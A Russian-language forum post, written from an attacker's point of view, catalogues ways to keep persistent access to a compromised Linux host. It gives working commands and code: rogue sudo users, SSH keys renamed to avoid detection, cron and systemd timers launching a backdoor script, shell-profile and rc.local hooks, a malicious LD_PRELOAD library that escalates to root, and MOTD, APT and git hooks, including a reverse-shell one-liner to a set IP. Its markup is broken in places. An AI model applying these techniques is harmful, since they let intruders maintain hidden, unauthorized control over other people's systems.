D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Создание учетной записи в Linux
Спойлер
Операционная система Linux обычно может иметь два типа учетных записей: «Root» и «User». Обычно существует два способа манипулирования учетными записями для обеспечения постоянного доступа к машине
Создание учетной записи пользователя
Спойлер
Если мы (злоумышленник) скомпрометировали хост и хотим сохранить Persistence доступ, создав обычную учетную запись пользователя, то мы можем использовать useradd следующим образом:
Код: Скопировать в буфер обмена
Код:
shell
# создайте учетную запись пользователя с домашним каталогом в /home/username
sudo useradd -m <username>
# чтобы иметь возможность войти в созданную учетную запись, для этой учетной записи должен быть установлен пароль
sudo passwd <username>
Создание учетной записи root/суперпользователя
Спойлер
Обычно на компьютере с Linux есть пользователь root, но он не включен, мы можем включить его, указав им пароль, например: `sudo passwd`, и можем установить для них пароль, чтобы включить root-доступ к машине. Но если мы хотим создать пользователя и добавить его в группы sudoers, мы можем использовать следующие команды:
Код: Скопировать в буфер обмена
Код:
sh
# Создать учетную запись пользователя
sudo useradd <username>
# теперь добавьте пользователя в группу suders
sudo usermod -aG sudo <username>
Постоянство с использованием авторизованных ключей SSH
Спойлер
Для сохранения Persistence доступа к Машине злоумышленник может изменить файл `authorized_keys` для сохранения Persistence доступа на хосте-жертве. У нее так дела обстоят. Этот файл обычно находится в `<user-home/.ssh/authorized_keys>`.
Злоумышленник может сгенерировать ключи SSH с помощью ssh-keygen, он сгенерирует открытый ключ id_rsa.pub следующим образом:
Код: Скопировать в буфер обмена
Код:
```
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCwIqohDVyEsHt5lHcI86scq5EWVm+DYpvhuolEV8EnkOonUFABgC2/9KdbMlG/di19N3oWRo60WG1F/LbRg5TNBzfuaKSU5UDoGCOI6m/DzwBkSfJUcnRoYg/2OSSPnqQP+V8aCISyiHcs5LuS996t9oGKWiwyyg4ScXeIGtlKZzgHPUl2+L6K2Rtga+GsI+X4sXUSAYbNR9xPDxwPqw5+ShwT7F+1HzR3ITI+uzySXKQVq4cXMkaJvuiwW1r/R8oeyd05DWlj67OCyH9ZS4dnamDoXdGYZ1B/DFp4eZQX5TB9Ggwu2FZ/aeWzv+tRPBDw5LKGdNtSfS7l+wNZNFUSeuNJdWYBNA0Dww4SMkgZdY8K95s1QiG/EcajFjGulbsl8Cpnmx3nTJsMdBtsRLgKIPylA0DWysgrL6cyEIXkCoIs/tnv+YCvvnTAEvbINEB0VMSaJUtqID5tG7+MbdOt/Lew9jmeh/uYfQ7i60zHfZNKJ3/lCPeKEN/aExui7k0= root@kali
```
чтобы избежать обнаружения, мы также можем заменить имя в конце на что-то допустимое, например: `ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCwIqohDVyEsHt5l…… synd1c4t@ecorp.com`
Persistence с использованием запланированной задачи
Спойлер
Persistence доступ к машине может быть осуществлен путем создания нескольких конкретных задач расписания, обычно их две: создание задачи расписания «изменение/создание cronjobs» или «модификация/создание вредоносного таймера».
Работа в Cron
Спойлер
Cronjobs - это способ создания задачи по расписанию на машине linux, подобно тому, как мы используем schtasks в windows.
мы можем создать наше вредоносное задание cron, чтобы предоставить нам Persistence доступ, обычно это делается путем настройки определенных файлов, вот некоторые из них:
– `/etc/crontab`
– `/etc/cron.d/*`
– `/etc/cron.{hourly,daily,weekly,monthly}/*`
– `/var/spool/cron/crontab/*`
Если вы являетесь пользователем, вы можете изменить свой собственный `crontab`, используя `crontab -e`. Это создаст файл в `/var/spool/cron/crontab/<user>`, соответствующий пользователю, который выполняет изменения. например, вот как будет выглядеть вредоносный файл задания cron:
Код: Скопировать в буфер обмена
*/5 * * * * /opt/backdoor.sh
Здесь скрипт бэкдора будет запускаться каждые 5 минут.
Итак, когда мы создаем любое задание cron с помощью команды типа `crontabl -e`, оно создаст файл в `/var/spool/cron/crontab/<user>`, но создаст файл конфигурации в `etc/crontab` или `/etc/crontab.d/<ПРОИЗВОЛЬНЫЙ ФАЙЛ>`. В отличие от файлов в `/var/spool/cron/*`, где пользователь заданий подразумевается в зависимости от того, чей это crontab, строки в `/etc/crontab` включают имя пользователя. Злоумышленник с привилегиями root может изменить эти файлы, чтобы получить Persistence доступ к машине. Пример :
Код: Скопировать в буфер обмена
Код:
shell
vi /etc/crontab/
*/2 * * * * root /opt/beacon.sh
Это будет запускать `/opt/backdoor.sh` каждые 2 минуты от имени `root`.
Системные таймеры
Спойлер
Это еще один необычный подход к получению Persistence доступа к Linux-машине. Итак, что происходит, обычно все службы на Linux-машине запускаются во время загрузки, у них есть определенная запись инициализации в процессе загрузки. но эти службы могут запускаться в определенное время, также используя «таймеры».
Чтобы увидеть таймеры на машинах, мы можем использовать следующую команду: `systemctl list-timers`
Чтобы создать наш вредоносный Persistence к файлу с таймером, нам понадобятся две вещи:
– Вредоносный файл `.service`
– Вредоносный файл `.timer`
Файлы .service аналогичны всем остальным файлам служб, которые настроены для выполнения конкретной задачи, например запуска нашего бэкдор-скрипта. Мы можем сделать это следующим образом:
Мы создали его службу по адресу `/etc/systemd/system/malicious.service`
Код: Скопировать в буфер обмена
Код:
[Unit]
Description=Bad service
[Service]
ExecStart=/opt/backdoor.sh
Теперь нам нужно создать файл .timer, который представляет собой не что иное, как файл триггера, который будет запускать нашу вредоносную службу в определенное время. пример :
Мы создали файл `/etc/systemd/system/malicious.timer`
Код: Скопировать в буфер обмена
Код:
[Unit]
Description=malicious timer
[Timer]
OnBootSec=5
OnUnitActiveSec=5m
[Install]
WantedBy=timers.target
Здесь `OnUnitActiveSec=5m`: сколько времени нужно ждать перед повторным запуском службы. Через каждые 5 минут мы будем запускать нашу службу и потенциально предоставлять нам Persistence доступ к машине.
** обязательно запустите службу и включите ее, чтобы она работала **
Код: Скопировать в буфер обмена
Код:
shell
# systemctl daemon-reload
systemctl enable scheduled_bad.timer
systemctl start scheduled_bad.timer
Изменение конфигурации оболочки
Спойлер
Оболочка в Linux является наиболее важной частью ее среды, но она загружает множество других файлов конфигурации, которые выполняются при каждом запуске или завершении оболочки. Вот некоторые из этих файлов.
Файлы | Работающий |
/etc/bash.bashrc | общесистемные файлы, выполняемые при запуске интерактивной оболочки (tmux) |
/etc/bash_logout | Системные файлы, выполняемые при завершении работы оболочки |
~/.bashrc | Широко эксплуатируемый пользовательский сценарий запуска, выполняемый при при запуске оболочки |
~/.bash_profile, ~/.bash_login, ~/.profile | Файлы, специфичные для пользователя, но найденные первыми, выполняются первыми |
~.bash_logout | Файлы, специфичные для пользователя, выполняются при закрытии сеанса оболочки |
~/.bash_logout | Пользовательский сценарий очистки в конце сессии |
/etc/profile | Общесистемные файлы, выполняемые при запуске оболочек входа в систему |
/etc/profile.d | Все файлы .sh создаются при запуске оболочки входа в систему |
Совет: попробуйте сначала изменить `~/.profile` или `/etc/profile`, чтобы скрыть себя, не нарушая нормальную конфигурацию оболочки.
Таким образом, файл (`~/profile`) будет выглядеть примерно так:
Код: Скопировать в буфер обмена
Код:
shell
# если запущен bash
if [ -n "$BASH_VERSION" ]; then
# включаем .bashrc, если он существует
if [ -f "$HOME/.bashrc" ]; then
. "$HOME/.bashrc"
fi
fi
chmod +x /opt/backdoor.sh
/opt/backdoor.sh
Перехват динамического компоновщика
Спойлер
Это передовая технология Persistence, обычно используемая при ** разработке руткитов для Linux **. Прежде чем злоупотреблять этим методом для использования Persistence доступа к машине с Linux, давайте сначала поймем, что такое динамический компоновщик в Linux:
### Что такое динамический компоновщик 101
В современной операционной системе программа может быть связана статически или динамически во время выполнения. Динамически связанные двоичные файлы используют общие библиотеки, расположенные в операционной системе. Эти библиотеки будут разрешены, загружены и связаны во время выполнения. Компонент Linux, отвечающий за эту операцию, — это ** динамический компоновщик **, также известный как `ld.so` или `ld-linux.so.*`. Во время выполнения динамического компоновщика используется ряд переменных среды, наиболее важной из которых является ** LD_PRELOAD **.
Что такое LD_PRELOAD
Спойлер
Компонент динамического компоновщика Linux, называемый LD_PRELOAD, который обеспечивает превосходную возможность хранения списка определяемых пользователем общих объектных файлов ELF. LD_PRELOAD позволяет нам загружать эти общие объектные файлы в адресное пространство процесса до самой программы, что потенциально позволяет контролировать поток выполнения. LD_PRELOAD можно установить, записав в файл `/etc/ld.so.preload` или используя переменную среды `LD_PRELOAD`.
В основном он используется для отладки и тестирования программы во время выполнения, но им можно злоупотребить, написав вредоносную запись общего объекта в LD_PRELOAD.
** По умолчанию переменная LD_PRELOAD и файл /etc/ld.so.preload не установлены **, поэтому, если мы можем использовать `ldd` или `strace`, чтобы найти зависимость библиотеки и файлов библиотеки, открытых в памяти соответственно, это выдаст сообщение «Такой файл не найден». например, двоичный файл «ls» в Linux
Создание вредоносной библиотеки общих объектов для Persistence
Спойлер
[/CODE]**preload.c**
```shell
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setresuid(0,0,0);
system("/opt/backdoor.sh");
}
```
```
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /root/Desktop/preload.c
[/CODE]
Это создаст желаемый файл .so, который мы теперь можем использовать для Persistence.
Теперь просто добавьте это в `echo “”/tmp/preload.so” >> /etc/ld.so.preload`, чтобы каждый раз, когда программа загружается в память, сначала загружался ваш вредоносный общий объектный файл и, возможно, позволял нам постоянный доступ.
Двоичный SUID
Спойлер
SUID (установка идентификатора пользователя) — это особый тип разрешений, предоставляемых файлу в системах Linux и Unix. Когда пользователь запускает файл с включенным SUID, файл запускается с разрешениями владельца файла, а не пользователя, который его запустил. Это особенно полезно для предоставления пользователям возможности запускать программы с временно повышенными привилегиями.
Использование SUID для Persistence
Спойлер
В контексте системного администрирования или безопасности Linux SUID можно использовать для Persistence, позволяя непривилегированному пользователю выполнять двоичный файл с более высокими привилегиями. Однако важно отметить, что это может представлять собой серьезную угрозу безопасности при неправильном использовании или реализации без надлежащих мер безопасности.
Пример сценария
Спойлер
Допустим, у нас есть скрипт, который необходимо запустить с правами root, но мы хотим разрешить пользователю, не являющемуся root, выполнить его.
Создайте сценарий . Сначала напишите сценарий, выполняющий желаемую задачу. Например, скрипт для вывода содержимого корневого каталога:
Код: Скопировать в буфер обмена
[ICODE]#!/bin/bash ls /root
[/ICODE]
[B]Сохранить и сделать исполняемым [/B] : сохраните этот скрипт как listRootDir.shи сделайте его исполняемым:
[CODE]chmod +x listRootDir.sh[/CODE]
[B]Изменить владельца [/B] : измените владельца скрипта на root:
[CODE][ICODE]sudo chown root:root listRootDir.sh[/CODE]
[/ICODE][ICODE][B]Установить бит SUID [/B] : установите бит SUID в сценарии:
[/ICODE][ICODE][ICODE][CODE]sudo chmod u+s listRootDir.sh[/CODE]
[/ICODE][/ICODE]rc.common/rc.local
Спойлер
- Местоположение : Обычно rc.localнаходится по адресу /etc/rc.local.
- Назначение : выполняется системой инициализации в конце процесса загрузки.
- Пользовательские команды : администраторы могут помещать в этот файл собственные команды запуска.
С использованием rc.local для Persistence
Спойлер
Редактировать rc.local: Открой rc.localфайл с помощью текстового редактора. Для редактирования вам нужны root-права.
Код: Скопировать в буфер обмена
sudo nano /etc/rc.local
Добавить команды : перед exit 0добавьте команды или сценарии, которые вы хотите выполнять при запуске. Например, чтобы запустить собственный скрипт:
Код: Скопировать в буфер обмена
Код:#!/bin/sh -e # # rc.local # #Этот скрипт выполняется в конце каждого многопользовательского уровня. # Убедитесь, что скрипт будет "выходить 0" при успехе или любое другое # значение при ошибке. # # Чтобы включить или отключить этот скрипт, просто измените исполнение # биты # # По умолчанию этот скрипт ничего не делает. /path/to/your/script.sh exit 0
Делать rc.local Исполняемый файл : Если rc.local еще не исполняемый файл, измените его разрешения:
Код: Скопировать в буфер обмена
sudo chmod +x /etc/rc.local
Перезагрузка : перезагрузите систему, чтобы проверить, запускается ли сценарий при запуске.
Код: Скопировать в буфер обмена
sudo reboot
Пример: запуск службы
Спойлер
Если вы хотите запустить специальную службу при загрузке, вы можете добавить строку в rc.local:
Код: Скопировать в буфер обмена
sudo /usr/bin/myservice
Systemd службы
Спойлер
С использованием systemd Services — это современный и эффективный способ добиться Persistence в Linux. systemd— это система инициализации и менеджер служб в большинстве дистрибутивов Linux, отвечающий за загрузку пользовательского пространства и управление системными процессами после загрузки. Создав индивидуальный systemd сервис, вы можете гарантировать, что определенные приложения или сценарии будут запускаться автоматически при запуске системы.
Создание пользовательского systemd Сервиса
Спойлер
Напишите свой сценарий . Сначала создайте сценарий, который вы хотите запускать при запуске. Например, создайте скрипт с именем my_script.sh:
Код: Скопировать в буфер обмена
Код:#!/bin/bash echo "My custom service is running" > /tmp/custom_service.log
Обязательно сделайте ваш скрипт исполняемым:
Код: Скопировать в буфер обмена
chmod +x /path/to/my_script.sh
Создайте служебный файл : создайте новый systemdслужебный файл в /etc/systemd/system/. Например, my_custom_service.service:
Код: Скопировать в буфер обмена
sudo nano /etc/systemd/system/my_custom_service.service
Добавьте в служебный файл следующее содержимое:
Код: Скопировать в буфер обмена
Код:[Unit] Description=My custom service After=network.target [Service] Type=simple ExecStart=/path/to/my_script.sh Restart=on-abort [Install] WantedBy=multi-user.target
- Description: Краткое описание вашего сервиса.
- After: определяет порядок запуска служб.
- Type: тип запуска службы, simpleявляется наиболее распространенным.
- ExecStart: команда для запуска вашего скрипта.
- Restart: Когда перезапустить службу.
- WantedBy: определяет цель, к которой должна быть подключена служба.
Перезагрузить systemd Daemon : После создания служебного файла перезагрузите systemd демон для чтения нового служебного файла:
Код: Скопировать в буфер обмена
sudo systemctl daemon-reload
Включите и запустите свою службу. Включите запуск службы при загрузке, а затем немедленно запустите ее:
Код: Скопировать в буфер обмена
Код:sudo systemctl enable my_custom_service.service sudo systemctl start my_custom_service.service
Проверьте статус: Чтобы проверить статус вашей новой услуги:
Код: Скопировать в буфер обмена
sudo systemctl status my_custom_service.service
Соображения безопасности
Спойлер- Минимальные привилегии . Запускайте службу с минимальными необходимыми привилегиями.
- Безопасный сценарий : убедитесь, что ваш сценарий безопасен и не содержит уязвимостей.
- Ведение журнала . Внедрите ведение журнала в свой скрипт для мониторинга и отладки.
Преимущества использования systemd сервиса
Спойлер- Последовательность : systemd обеспечивает стандартизированный способ управления сервисом.
- Управление зависимостями : он обрабатывает разрешение зависимостей и порядок обслуживания.
- Ведение журнала и мониторинг : интегрировано с systemdСистема журналирования для удобного ведения журнала и мониторинга.
- Управление ресурсами : предлагает функции управления системными ресурсами.
Trap
Спойлер
Команда trap в Linux используется в сценариях оболочки для реагирования на сигналы и другие системные события. Она позволяет указать команду или сценарий для выполнения, когда сценарий получает сигнал. Хотя trap обычно не используется непосредственно для обеспечения Persistence, она может быть использована для повышения надежности сценариев, выполнения задач очистки или обеспечения выполнения определенных действий, даже если сценарий прерывается. Это может косвенно способствовать более надежному и устойчивому поведению системы.
Использование trap в скриптах
Спойлер
Команда trap может перехватывать сигналы и выполнять указанную команду или набор команд при получении сигнала. Обычные сигналы включают SIGINT (прерывание, обычно посылается нажатием Ctrl+C), SIGTERM (сигнал завершения) и EXIT (когда скрипт завершается нормально или по одному из сигналов).
Код: Скопировать в буфер обмена
trap [commands] [signals]
Пример использования
Спойлер
Обработка прерываний: Создайте сценарий, который будет очищать временные файлы, даже если его выполнение прервано.
Код: Скопировать в буфер обмена
Код:#!/bin/bash # Создать временный файл tmpfile=$(mktemp) # Функция очистки временного файла cleanup() { echo "Cleaning up temporary files..." rm -f "$tmpfile" } # Trap SIGINT и SIGTERM вызов функции очистки trap cleanup SIGINT SIGTERM EXIT # Имитировать длительный процесс echo "Running a long process..." sleep 60 # нормальная очистка cleanup
- В этом сценарии, если пользователь прерывает выполнение сценария с помощью Ctrl+C или если сценарий получает сигнал завершения, cleanup функция вызывается для удаления временного файла.
- Вход в систему при выходе : сценарий, который регистрирует сообщение каждый раз при выходе, независимо от того, как оно было завершено.
Код: Скопировать в буфер обмена
Код:#!/bin/bash log_exit() { echo "Script exited at $(date)" >> /var/log/script.log } trap log_exit EXIT #Остальная часть сценария
Этот скрипт запишет сообщение на /var/log/script.log каждый раз, когда он выходит, как обычно, так и по сигналу.
Backdooring файл запуска пользователя
Спойлер
Обход файла запуска пользователя в Linux — это метод, используемый для достижения Persistence путем вставки команд в файлы, которые автоматически выполняются при входе пользователя в систему. Обычно целевые файлы включают в себя ~/.bashrc, ~/.profile, или ~/.bash_profileдля пользователей, использующих оболочку Bash.
Пример: добавление команды в .bashrc
Файл .bashrc выполняется всякий раз, когда пользователь открывает новую оболочку Bash. Добавив команду в этот файл, вы можете гарантировать, что она будет выполняться каждый раз, когда пользователь открывает терминал.
Шаги
Доступ к файлу : откройте файл пользователя. .bashrc файл с помощью текстового редактора. Для этого вам необходимо иметь соответствующие разрешения.
Код: Скопировать в буфер обмена
nano ~/.bashrc
Вставить команду : добавьте команду в конец файла. Например, чтобы создать простую запись в журнале каждый раз, когда пользователь открывает оболочку:
Код: Скопировать в буфер обмена
echo "Shell opened at $(date)" >> ~/.shell_usage_log
Сохранить и выйти : сохраните файл и выйдите из редактора. Теперь команда будет выполняться каждый раз, когда пользователь запускает новый сеанс оболочки.
Пример сценария для образовательных целей
Допустим, вы проводите учения по безопасности и хотите продемонстрировать, как работает бэкдор в .bashrc работает. Вы можете добавить скрипт, который безвредно сообщает об использовании оболочки:
Код: Скопировать в буфер обмена
Код:# Добавить в конец ~/.bashrc echo "User $USER opened a shell at $(date)" >> /tmp/user_shell_log
Использование системного вызова
Спойлер
Давайте углубимся в каждый метод, уделив особое внимание тому, как их можно использовать для обеспечения Persistence.
Система мониторинга и блокировки вызовов
- Подсистема аудита Linux :
- Используется для мониторинга системных вызовов и действий пользователя.
- Настроить с помощью auditd и auditctl.
- Пример: Для мониторинга системных вызовов доступа к файлам:
- Позволяет отслеживать системные вызовы в режиме реального времени.
- Может использоваться для создания пользовательских инструментов мониторинга.
- Пример: Использование bpftrace контролировать execve звонки:
sudo bpftrace -e 'tracepoint:syscalls:sys_enter_execve { printf("%d %s\n", pid, comm); }'
Seccomp (режим безопасных вычислений) :
- Ограничивает системные вызовы, которые может выполнять процесс.
- Может использоваться для создания среды песочницы.
- Пример: Блокировка execve системный вызов в программе C:
Код:#include <seccomp.h> ... scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_ALLOW); seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0); seccomp_load(ctx);
Способ 1: эмуляция/реализация системного вызова в пользовательском пространстве
Спойлер- Пользовательский загрузчик для Execve/Execveat :
- Реализация собственного загрузчика для обработки двоичных файлов ELF.
- Пример: анализ заголовков ELF и ручное сопоставление сегментов в памяти.
- Реализация чтения/записи с помощью Mmap :
- С использованием mmap()для отображения файла в памяти и выполнения операций чтения/записи.
- Пример:
Код:int fd = open("file.txt", O_RDWR); char *data = mmap(NULL, length, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); // Чтение и запись с использованием указателя данных
Способ 2: используйте альтернативные системные вызовы
Спойлер- С использованием fork()или clone():
- Изменение полезных данных для использования fork()или clone()для создания процесса.
- Альтернативные методы чтения/записи :
- С использованием sendfile()для копирования файлов.
- Пример:
sendfile(dest_fd, src_fd, NULL, filesize);
С использованием pread()/ pwrite()для позиционного файлового ввода-вывода.
Операции с дескриптором файла PID (pidfd) :
- С использованием pidfd_open()и pidfd_getfd()для межпроцессной передачи дескриптора файла.
- Пример:
Код:int pidfd = pidfd_open(pid, 0); int fd = pidfd_getfd(pidfd, target_fd, 0);
Метод 3: Обман параметров
Спойлер- Использование символических ссылок для ввода-вывода файлов :
- Создание символических ссылок для перенаправления путей к файлам.
- Пример:
ln -s /path/to/real/file /path/to/symlink
Изменение представления процесса о файловой системе :
- С использованием chrootили смонтируйте пространства имен, чтобы изолировать и изменить представление процесса о файловой системе.
Изменение переменных среды
- Цель : изменение переменных среды для изменения поведения программного обеспечения.
- Метод : Добавьте или измените записи в файлах, например ~/.bash_profile, ~/.bashrc, или /etc/environment.
- Пример : установка пользовательского пути к библиотеке.
echo 'export LD_LIBRARY_PATH=/my/custom/path:$LD_LIBRARY_PATH' >> ~/.bashrc
Скрипты входа
- Цель : выполнение сценариев при входе пользователя в систему.
- Метод : Добавить скрипты в /etc/profile.d/.
- Пример : Создание сценария входа в систему.
Код:echo 'echo "Welcome, $USER!"' > /etc/profile.d/welcome.sh chmod +x /etc/profile.d/welcome.sh
XDG автозапуск
- Назначение : Автозапуск приложений в графических средах рабочего стола.
- Метод : Создать .desktopфайлы в ~/.config/autostart/.
- Пример : автозапуск сценария.
Код:[Desktop Entry] Type=Application Exec=/path/to/script.sh Hidden=false NoDisplay=false X-GNOME-Autostart-enabled=true Name=MyScript
правила udev
- Цель : запускать действия при возникновении определенных аппаратных событий.
- Метод : Добавить пользовательские правила в /etc/udev/rules.d/.
- Пример : запуск сценария при подключении USB-устройства.
echo 'ACTION=="add", KERNEL=="sd*", RUN+="/path/to/script.sh"' > /etc/udev/rules.d/99-usb-autorun.rules
Команды псевдонимов
- Цель : изменить или расширить поведение команд оболочки.
- Метод : Определить псевдонимы в ~/.bashrcили ~/.bash_aliases.
- Пример : Создание псевдонима для ls.
echo 'alias ls="ls --color=auto"' >> ~/.bashrc
Двоичная замена или перенос
- Цель : заменить или обернуть системные двоичные файлы собственными скриптами.
- Метод : переименуйте исходный двоичный файл и замените его скриптом, вызывающим оригинал.
- Пример : упаковка cat.
Код:mv /bin/cat /bin/cat.original echo -e '#!/bin/bash\n/bin/cat.original "$@"' > /bin/cat chmod +x /bin/cat
Модули ядра
- Цель : Загрузка пользовательских модулей ядра для различных целей.
- Метод : Напишите и скомпилируйте модуль ядра, затем загрузите его с помощью insmodили modprobe.
- Пример : Загрузка пользовательского модуля.
sudo insmod /path/to/module.ko
Триггеры базы данных (для систем, использующих базы данных)
- Цель : выполнение действий на основе событий базы данных.
- Метод : Создайте триггеры в системах баз данных, таких как MySQL или PostgreSQL.
- Пример : Создание триггера в MySQL.
CREATE TRIGGER example_trigger AFTER INSERT ON my_table FOR EACH ROW BEGIN CALL my_procedure(); END;
MOTD-бэкдоринг
Спойлер
MOTD означает «Сообщение дня» — сообщение, которое отображается пользователям, когда они подключаются к системе по SSH. Он настраивается в каталоге /etc/update-motd.d/, и злоумышленники могут помещать произвольные команды в любой из файлов, перечисленных там. Поэтому в этой статье его можно использовать как метод Persistence, и мы получаем обратную оболочку всякий раз, когда пользователь подключается к системе по SSH.
PoC
В этом сценарии мы отредактируем заголовочный файл MOTD, включив в него однострочную обратную оболочку.
- Отредактируйте /etc/update-motd.d/00-header:
Этот файл используется для создания заголовка MOTD:
Для упорства мы воспользуемся следующим лайнером:
Код: Скопировать в буфер обмена
bash -c 'bash -i >& /dev/tcp/192.168.1.132/1234 0>&1'
SSH в системе: пользователь должен подключиться к системе по SSH, чтобы ему был показан MOTD и вместе с ним был выполнен наш лайнер.
После SSHing:
И мы получаем shell обратно.
APT бэкдоринг
Спойлер
APT — это менеджер пакетов в системах на базе Debian, который расшифровывается как Advanced Packaging Tool. Менеджеры пакетов — это инструменты, доступные нам для установки/удаления/обновления пакетов и самой системы. Доступ к APT можно получить с помощью команды apt и настроить в каталоге /etc/apt. У APT и других менеджеров пакетов также есть концепция под названием «хуки», которая используется для каких-либо действий до/после установки/удаления/обновления и т. д. Обычно используется для поддержки пакетов и предотвращения взлома системы. С точки зрения злоумышленника, его можно использовать для поддержания Persistence путем создания перехватчика, предоставляющего нам доступ к системе всякий раз, когда, например, происходит действие подходящего обновления.
PoC
В этом сценарии мы установим перехватчик перед обновлением apt, чтобы вернуть нам оболочку.
- Создайте файл хука: чтобы создать файл хука, мы должны сделать это в каталоге /etc/apt/apt.conf.d/. Имя может быть любым, APT все равно его выполнит:
2.Обновление Apt: после того, как пользователь вызывает команду apt update, наш хук также выполняется, что приводит к обратной оболочке, что обеспечивает Persistence:
Бэкдоринг Git
Спойлер
Git — это распределенная система контроля версий, которая отслеживает изменения в любом наборе компьютерных файлов и обычно используется для координации работы программистов, совместно разрабатывающих исходный код во время разработки программного обеспечения. В git есть две концепции, которые могут быть полезны злоумышленникам: перехватчики и файл конфигурации.
Крючки:
Точно так же, как мы установили хуки в APT, это можно сделать и для git. Мы можем установить хуки для pre-commit/post-commit/pre-merge/post-merge/..
Эти хуки должны быть помещены в каталог .git/hooks/. Их нельзя назвать как угодно, у них есть свои уникальные имена, например precommit. После их создания в их разрешении должен быть установлен бит исполняемого файла.
POC
В этом сценарии мы создадим перехватчик предварительной фиксации, поместим в него один вкладыш нашей обратной оболочки и установим разрешение на его исполняемый бит, а затем добавим новый коммит для получения доступа к системе.
- Создайте перехватчик предварительной фиксации: этот файл должен быть создан в каталоге .git/hooks/.
После этого его необходимо сделать исполняемым с помощью команды sudo chmod +x .git/hooks/pre-commit.
2.Добавить новый коммит: этот хук сработает непосредственно перед добавлением нового коммита.
И мы получаем обратный шелл прямо в каталоге git.
Конфиг
Спойлер
Существуют некоторые переменные среды, и их можно настроить на выполнение произвольных команд всякий раз, когда должно произойти какое-либо действие, например git log и соответствующая переменная среды GIT_PAGER. Эта переменная используется для определения пейджера, который будет использоваться при вызове git log. Эти параметры также можно установить в файлах .git/config и ~/.gitconfig.
POC
В этом сценарии мы будем редактировать параметр пейджера и включим туда один лайнер нашей обратной оболочки, который будет выполняться всякий раз, когда пользователь запускает git log .
- Настройте файл конфигурации: мы должны добавить новую запись в раздел [core] файла с именем pager.
По сути, это выполняет нашу обратную оболочку, а также использует less для отображения журнала git, как ожидалось.
2. Журнал Git: после того, как пользователь запускает эту команду, наша команда выполняется.
И мы получаем нашу обратный шелл.
Бэкдоринг OpenVPN
Спойлер
OpenVPN — это программное приложение с открытым исходным кодом, которое обеспечивает безопасное соединение «точка-точка» или «сеть-сеть» в маршрутизируемых или мостовых конфигурациях. Он обычно используется для создания виртуальных частных сетей (VPN) для обеспечения безопасной связи через Интернет. Пользователи обычно подключаются к серверу OpenVPN с помощью клиентского программного обеспечения и файла конфигурации с расширением .ovpn.
Злоумышленник может изменить файлы конфигурации .ovpn, включив в них бэкдор, что позволит им поддерживать постоянный доступ. Это может включать добавление дополнительных директив конфигурации, которые обеспечивают несанкционированный доступ или скрывают присутствие злоумышленника.
Спасибо за Внимание!